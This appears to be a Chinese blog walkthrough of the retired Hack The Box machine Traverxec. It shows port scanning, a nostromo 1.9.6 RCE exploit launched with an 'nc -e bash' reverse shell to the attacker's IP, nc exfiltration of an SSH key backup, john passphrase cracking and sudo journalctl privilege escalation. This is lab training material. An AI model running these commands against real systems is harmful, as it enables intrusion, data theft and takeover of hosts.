HTB-靶机-Traverxec

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.165

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

masscan -p1-65535 10.10.10.165 --rate=1000 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.165

扫描出来版本nostromo 1.9.6存在RCE - 远程代码执行

对应的exploit地址:https://www.exploit-db.com/exploits/47837
wget下载链接:https://www.exploit-db.com/raw/47837

metasploit利用模块
https://www.rapid7.com/db/modules/exploit/multi/http/nostromo_code_exec/

直接反弹shell

python cve2019-16278.py 10.10.10.165 80 "nc -e bash 10.10.14.2 8833"
nc -lvnp 8833

升级为tty-shell

拿到低权限后开始查看home,发现有一个用户david,尝试进去,发现没有权限,查看了目录权限,猜测能够有查看的权限,用信息搜集工具搞了一把,发现目标靶机运行的web服务所对于的目录配置文件/var/nostromo/conf  查看了里面的文件内容,发现.htpasswd 但是没啥用处,另外查看到有目录配置信息

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

最终发现有备份的私钥信息
www-data@traverxec:/var/nostromo/conf$ ls -la /home/david/public_www
total 16
drwxr-xr-x 3 david david 4096 Oct 25  2019 .
drwx--x--x 5 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area
< ls -la /home/david/public_www/protected-file-area/
total 16
drwxr-xr-x 2 david david 4096 Oct 25  2019 .
drwxr-xr-x 3 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david   45 Oct 25  2019 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25  2019 backup-ssh-identity-files.tgz

使用nc的方式将此压缩包传到本地kali

kali:nc -lvnp 9933 > backup.tgz
靶机:nc 10.10.14.2 9933 < /home/david/public/protected-file-area/backup-ssh-identity-files.tgz

查看私钥内容发现是加密的,得使用john进行离线密码破解

/usr/share/john/ssh2john.py id_rsa > hash.txt
john hash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt

得到密码

id_rsa:hunter

给这个私钥权限400或者600然后使用ssh成功登录到目标靶机

 

发现此目录下面有两个文件,其中一个文件是shell脚本,内容如下:

david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

看了上述代码可用通过journalctl进行提权,具体可参考:

https://gtfobins.github.io/gtfobins/less/
https://gtfobins.github.io/gtfobins/journalctl/
最终提权成功,不过这里需要注意一下,要保证当前连接的shell是tty-shell,简单点理解就是要保证当前终端能出现屏幕卡住,出现end,不然提权不了,这里有以下几种办法
1.使用python生成一个tty-shell
python -c 'import pty;pty.spawn("/bin/bash")'
2.在kali的图形界面上登录连接目标靶机
3.执行脚本前先执行stty rows 4

限制shell绕过技术
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

或者

posted @ 2021-04-27 13:54  皇帽讲绿帽带法技巧  阅读(223)  评论(0编辑  收藏  举报